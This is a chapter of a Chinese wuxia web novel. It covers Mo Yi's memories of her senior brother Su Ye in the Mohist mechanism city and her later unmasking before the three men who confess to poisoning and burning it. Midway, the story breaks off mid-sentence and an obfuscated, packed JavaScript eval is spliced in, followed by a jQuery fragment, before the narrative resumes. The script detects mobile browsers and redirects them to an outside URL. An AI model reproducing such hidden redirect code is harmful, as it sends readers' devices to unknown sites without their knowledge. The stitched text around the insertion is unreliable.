皓月当空，墨家机关城内万籁俱寂。


    许多房间的灯都熄灭了，只剩几个房间的灯还亮着。


    其中一处，便是苏夜所在的房间。


    苏夜坐在桌前，翻看着手札。


    他想从手札上找出几个新奇的机关制作方法，等练习熟练后，再给墨衣展示。


    “苏师兄。”门外传来一声软糯的喊声，苏夜认出这个声音，唇角微微勾起。


    “小衣儿、这么晚了，你怎么还不睡？”


    墨衣怀里抱着一个木制玩偶，推开了苏夜房间的门。


    她的个头不高，六岁的年纪，身高还够不到房门的一半。


    稚气未脱的脸上有一双大大的眼睛，总是氤氲着水汽，让人见了就忍不住心生怜惜。


    “兰师姐最近忙着帮南师姐一起准备嫁衣，都没时间给我讲故事了。”墨衣进到房间后，第一时间就是跟苏夜告状，“陆师兄也好几天没给我做玩偶了。”


    “没事，有苏师兄在。不管是做玩偶还是讲故事，你都可以来找我。”苏夜站起身，将墨衣抱到了桌前，柔声道：“陆师弟和南师妹再过不久就成亲了，所以他们最近会比较忙。”


    “成亲？”墨衣不解，“成亲是什么？”


    “简单来说，就是两个人住在一起。”


    听了苏夜的解释，墨衣笑道：“那我和师兄、师姐都成亲了，我们都住在机关城里。”


    苏夜被她的话逗笑，耐着性子解释道：“不是那种住在一起，他们是会住在同一个房子里，躺在一张床上，盖同一床被子。”


    “哦。”墨衣似懂非懂地点头，目光落在桌上翻开的手札上。


    “苏师兄，你是在学习吗？”墨衣问道，不等他回答，就又道：“慕师兄和杜师兄说，苏师兄总是半夜偷偷学习，他们怎么追都追不上。”


    “哈哈哈、就当我是在学习好了。”苏夜闻言笑出声，看向墨衣道：“小衣儿、看书最助眠了，你要是以后睡不着，就和师兄一起看书学习，肯定很快就能睡着。”


    “真的吗？”墨衣来了兴趣，拼命将脸往手札的方向凑过去。


    苏夜把她的板凳拉近了些，让她看得更清楚。


    过了许久，墨衣的眼睛瞪得愣大，而一旁的苏夜已在昏昏欲睡。


    “师兄、这个图是什么意思？”墨衣原本对机关一类的东西就十分感兴趣，看见手札上的图解后，更是越看越精神。


    “哦、这个啊......”苏夜打了个哈欠，忍着困意给墨衣一个个解释。


    这手札他看过很多遍了，所以看久了会有催眠作用。


    但墨衣是第一次看，她明显很感兴趣，越看越不困。


    苏夜无奈地笑笑，看样子今晚是个不眠夜了。


    卯时，太阳渐渐升起。


    阳光洒落在整座机关城中。


    墨衣躺在苏夜的床上睡得香甜，苏夜坐在桌前遥望着床上睡着的身影，唇边泛起一抹笑意。


    “苏师兄！苏师兄！那三人又来了！”杜若的喊声在门外响起，墨衣皱了皱眉，翻了个身继续睡了。


    杜若推开门，一眼就看见了躺在床上的墨衣，感叹道：“我说怎么今天小衣儿格外安静，搞半天昨晚睡在你房间了。”


    苏夜比了个噤声的手势，低声道：“她才刚睡着不久，我们还是出去说吧。”


    “喔、好。”


    墨衣一觉醒来已经是中午，杜若做了糕点、南月纱炒了菜，不用走出房间她都能闻见饭香。


    她推开房门，远远就见师兄、师姐在冲她招手：“小衣儿、你起来了！快来吃饭啊！”


    等墨衣到了他们跟前，和他们一起聚到饭桌前时，听见他们说起上午的事情，才知道尉迟云天、楚诚和公孙百尺又来了。


    “好在这次他们没待太久，不然还要做他们的饭。和不熟悉的人一起吃饭，免不了尴尬。”杜若说着，其他人纷纷附和。


    墨家机关城里和他们最熟悉的是墨青鸣，至于众弟子中和他们最熟悉的应该就是苏夜了。


    毕竟苏夜作为墨家的大师兄，常常被墨青鸣叫去身边，一起讨论琐事。


    往常墨家见客，也都是由苏夜跟在墨青鸣的身边。


    “他们居然说心法秘诀没听明白，又要苏师兄再讲一遍。”南月纱抱怨道，“上次连我听完都明白了，他们那个领悟力，干脆放弃吧。”


    兰莲心被她的话逗笑：“哪有你这样贬低自己的，比起他们，你可聪明多了。”


    墨衣颇为认同地点头：“师姐说得对，昨晚苏师兄给我讲手札上的东西，就讲一遍，我就明白了。”


    她话音刚落，一众师兄、师姐纷纷摇头：“你是神童，那还是不能跟你比的。”


    “我才不当神童，反正有你们在啊。”墨衣闻言嘴嘟老高，还不等众师兄、师姐回应，身后就传来熟悉的笑声，是苏夜：“小衣儿说得对，有我们在。”


    墨衣抬眼看他，撞上苏夜认真的目光：“我一定会保护好小衣儿。”


    -


    脑海中闪过十二年前的回忆，墨衣现在回想起来，灭门就发生在他们来询问秘籍诀窍的不久之后。


    难怪他们去的次数勤了许多，原来是借着问心法的同时，看清了机关城内的布置摆设。


    “姑娘、你武功如此之高，何必要揪着过去的死人不放？倒不如加入世家或是自立门户，以你的能力，定能在江湖上闯出一番名堂的。”尉迟云天见墨衣迟迟不说话，心里有些没底。


    虽然他们还未正式交手，但站在她身前，他能感觉得到她深厚的内力。


    公孙百尺闻言也忙附和道：“是啊、姑娘，不、女侠，有话好好说，何必非要刀剑相向呢？”


    墨衣没有直接回答他们的问题，而是默默摘去了戴着的面具。


    她将面具摘下后，面前的三人都愣住了，连带着远处刚坐起身的公孙谦也愣住了。


    他心中一惊：怎么会？怎么可能这么像？


    “你们不是要找雪衣吗？”墨衣冷冷问道。


    虽然心中猜到了大概，但当墨衣这么说的时候，公孙百尺还是满脸震惊：“不可能！我明明记得雪衣毫无武功！”


    “是啊，所以我不叫雪衣，我叫墨衣。”


    听了她的话后，不光是这四人大吃一惊，就连在坐的众人也都惊讶不已。


    “墨衣？她姓墨？”


    “可她明明和雪衣长得一模一样啊。”


    “别着急啊，听他们说下去，早晚会知道的。”


    “说的也是，反正我们在这里面，他们也听不见我们说话。”


    ......


    “墨衣？！”比起江湖众人满脸的疑惑，尉迟云天、公孙百尺和楚诚就显


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232187|177133||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得明白多了。


    他们作为墨青鸣曾经的好友，当然认识他的女儿，也知道他女儿名叫墨衣。


    “你是墨青鸣的女儿。”尉迟云天径直道，不是疑问，而是肯定。


    “我是。”墨衣沉声回道，“不然，你们以为我是为何要替墨家复仇？”


    “所以，你们有什么资格让我放弃仇恨？”


    这下三人哑口无言，他们确实是没资格。


    沉默了半晌后，公孙百尺忽然笑了，“所以风若翊和雪如烟一早就知道你的全部计划，离开山庄也是你故意而为？”


    “不错。”


    墨衣的话音刚落，空中就又传来一声鹤唳，众人抬眼望去，看见半空中落下几道人影。


    正是萧危楼、花筱筱、谢远舟、姜梨儿还有凌逸月。


    在这五人身后，还有两个人，正是失踪了的楚霖泽和尉迟渔。


    在看见他们两人出现后，楚诚和尉迟云天面上也未见丝毫喜色，他们就像是没看见这两人似的，还在愣愣地看向墨衣。


    “你是望月楼的楼主？”尉迟云天将至今发生的事情都回想了一遍，终于想通了一切。


    墨衣没有回应，她已不需要回应。


    公孙谦坐在地上，遥望着摘去面具后的墨衣，他忽然觉得雪衣离他很远、很远，他好像都不认识她了。


    事实上，他从来没有真正认识过她。


    他喜欢的风雪山庄大小姐“雪衣”，不过是墨衣用以迷惑仇人而套用的名字。


    她真实的身份是墨家机关城城主的女儿，同时还是名震江湖，神龙见首不见尾的望月楼楼主。


    “事到如今，你们还有什么不能承认的呢？”墨衣淡淡说道，“我想你们应该知道，望月楼是以什么而闻名吧？”


    尉迟云天低下头自嘲地笑笑，随后开了口：“没错、我在水车上下了毒。”


    公孙百尺见尉迟云天承认了，也径直道：“这毒是特制的慢性毒药，需要分成数次投放，我们三人联手在城中不同处都下了毒。”


    楚诚：“这毒无色无味，极难被人察觉。我们正是知道墨青鸣的伯父，医圣墨无忧早已不在城中，才会用此一招。”


    “中了此毒只会无法使用内力，并不会致人死。不过这毒有一个致命的缺点，就是在人死后，一下就能被验出来。”尉迟云天又继续道。


    这下子墨衣完全明白了，“所以，你们才会在屠城过后，还要放一把火来毁尸灭迹。”


    “原本是因为毒的问题，但谁知中途杀出一个苏夜，他竟出手将毒解了。”楚诚在一旁火上浇油道，“要不是他对我们怀抱一丝希冀，兴许就不会死。”


    “像墨家机关城这种与世无争的世外桃源，原本就不该留在这世上。”尉迟云天冷声道，“一把火烧了，才算干净。”


    “我爹对你们那么好，你们却是以屠城作为回报吗？”墨衣虽然早就不对他们抱有期待，可在听到他们说出屠城真相时，见他们脸上毫无悔改之意，心还是忍不住下沉。


    墨衣觉得心寒，她替爹和苏师兄感到不值，因为他们付出的真心，没能得到相应的回报。


    同时，她也替面前的三人悲哀。


    因为，他们亲手杀死了这世上对他们最好的两人。


    她早就猜到以苏夜的武功，若不是熟悉之人，根本不可能有下手的机会。